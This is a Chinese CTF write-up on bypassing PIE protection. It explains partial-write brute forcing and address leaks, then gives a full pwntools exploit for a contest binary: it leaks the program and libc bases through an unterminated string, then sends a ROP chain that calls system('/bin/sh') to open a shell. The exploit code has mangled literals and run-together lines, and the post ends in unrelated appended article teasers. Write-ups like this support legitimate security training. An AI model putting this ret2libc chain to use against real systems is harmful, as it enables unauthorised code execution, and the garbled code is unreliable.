(一):partial write

开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是0到f,例如:

list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]

列表里是第二位字节可能的值,使用循环进行爆破。

(二):泄露地址

PIE 保护机制,影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。

这是浙江省省赛的一道pwn题,首先查看保护:

发现只有栈溢出没开。

用IDA查看反汇编代码,发现由两处可以输入的地方:

第一处的输入用户名时候

第二处则是在输入算式结果的时候

经过分析发现,在输入用户名时函数并不会给字符串末尾加上 '\0' ,而 puts() 函数是在遇到 '\0' 时结束输出,故我们可以利用这一特性泄露内存。可以采用填充8个字节或16个字节来泄露内存。在使用填充16个字节泄露内存时应注意是 p.send('A'*16) 而非 p.sendline('A'*16),否则多出来的 '\n' 会影响接下来程序的执行。

第二处输入存在明显的栈溢出,故我们可以利用此处构造 payload。完整的exploit如下:

# -*- coding:utf- -*-
from pwn import *
libc = ELF('./libc.so.6') context.log_level = 'debug'
p = process('./uninit')
# libc=ELF('./libc.so.6')
gdb.attach(p)
p.sendafter("name:", 'A'*) # 发送填充16个字节
p.recvuntil('A'*) PIE_addr = p.recvuntil("\n")
PIE_addr = u64(PIE_addr[:-].ljust(, '\x00')) #用u64()解包地址
# PIE_addr=u64(p.readline()[:-].ljust(,'\x00'))
log.success("PIE_addr ==> {:#x}".format(PIE_addr)) base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #计算程序加载基地址 pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用于构造puts和system函数的参数
puts_plt = base1 + 0x940
offset = 0x30 + 0x8 #覆盖到栈底的填充字节
puts_got = base1 + 0x201F60
start_addr = base1 + 0x9c0 #程序起始运行处的地址
payload = offset*'A' + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(0x400, 'A')
#gdb.attach(p)
p.recvuntil("Tell me count of game:")
p.sendline('') p.recvuntil("Answer:")
p.send(payload)
puts_addr = u64(p.recv().ljust(,'\x00')) base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加载基地址 log.success("puts_addr ==> {:#x}".format(puts_addr))
log.success("base2 ==> {:#x}".format(base2)) system_addr=libc.symbols['system']+base2 #system函数的地址
bin_sh_addr=next(libc.search('/bin/sh'))+base2 #‘/bin/sh’的地址
log.success("bin_sh_addr ==> {:#x}".format(bin_sh_addr))
log.success("system_addr ==> {:#x}".format(system_addr)) payload2=offset*'A'+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
payload2+=p64(start_addr)
payload2=payload2.ljust(0x400,'\x00') #此处用‘\x00’填充是考虑到调用system时需要的环境变量 p.sendlineafter("name:",'A'*)
p.sendlineafter("game:",'')
p.sendafter("Answer:",payload2) p.interactive("countfatcode $")

(三):vdso/vsyscall

尚待补充

————————————————————————————————————————————————————————————————————————————————————————

记录一个跟本篇无关的保护:

RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

  • Partial RELRO:ELF节重排,对GOT仍然可写
  • Full RELRO:GOT只读

PIE保护绕过的更多相关文章

  1. pie的绕过方式

    目标程序下载 提取码:qk1y 1.检查程序开启了哪些安全保护机制 pie机制简介 PIE(position-independent executable) 是一个针对代码段.text, 数据段.*d ...

  2. safeseh+dep保护绕过

    [文章作者]       :h_one [漏洞程序名称]:mplayer.exe [漏洞类型]       :缓冲区溢出 [保护方式]       :safeseh+dep [操作平台]       ...

  3. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

  4. Linux保护机制

    RELRO(RELocation Read Only) 在Linux中有两种RELRO模式:"Partial RELRO" 和 "Full RELRO".Lin ...

  5. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. 蒸米一步一步ROP X64学习笔记

    原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STE ...

  7. pwn入门之栈溢出练习

    本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...

  8. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  9. linux漏洞分析入门笔记-bypass_PIE

    ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...

随机推荐

  1. 字段解析之OopMapBlock(4)

    OopMapBlock是一个简单的内嵌在Klass里面的数据结构,用来描述oop中包含的引用类型属性,即该oop所引用的其他oop在oop中的内存分布,然后就可以根据当前oop的地址找到所有引用的其他 ...

  2. Markdown上手

    Markdown 学习日记 标题 二级标题 两个#+空格 快捷键:Ctrl + 2 三级标题 三个#+空格 快捷键:Ctrl + 3 最多支持六级标题 字体 加粗 文字 两个 *+文字+两个 * 快捷 ...

  3. JS与React分别实现倒计时(天时分秒)

    JS方法 html部分 <div class="clock"> <i></i> 天 <i></i> : <i> ...

  4. C#设计模式之15-解释器模式

    解释器模式(Interpreter Pattern) 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/415 访问. 解释 ...

  5. Vue Vue.use() / Vue.component / router-view

    Vue.use Vue.use 的作用是安装插件 Vue.use 接收一个参数 如果这个参数是函数的话,Vue.use 直接调用这个函数注册组件 如果这个参数是对象的话,Vue.use 将调用 ins ...

  6. 01第一个批处理文件 window开机自动加载批处理文件

    1 批处理文件用来加载python程序  批处理的文件名称为:Hello.bat @echo off C: cd C:\Users\\Desktop\python\HelloWorld\HelloWo ...

  7. python设计模式之建造者模式

    python设计模式之建造者模式 ​ 建造者模式的适用范围:想要创建一个由多个部分组成的对象,而且它的构成需要一步接一步的完成.只有当各个部分都完成了,这个对象才完整.建造者模式表现为复杂对象的创建与 ...

  8. JavaScript学习系列博客_8_JavaScript中的关系运算符、赋值运算符

    关系运算符 - 关系运算符用来比较两个值之间的关系的 >.<.<=.>= 先说这四个.如果关系成立则返回true,关系不成立则返回false. - 如果比较的两个值是非numb ...

  9. 第3章 SparkSQL解析

    第3章 SparkSQL解析 3.1 新的起始点SparkSession 在老的版本中,SparkSQL提供两种SQL查询起始点,一个叫SQLContext,用于Spark自己提供的SQL查询,一个叫 ...

  10. Mybatis入门(四)------联表查询

    Mybatis联表查询 一.1对1查询 1.数据库建表 假设一个老师带一个学生 CREATE TABLE teacher( t_id INT PRIMARY KEY, t_name VARCHAR(3 ...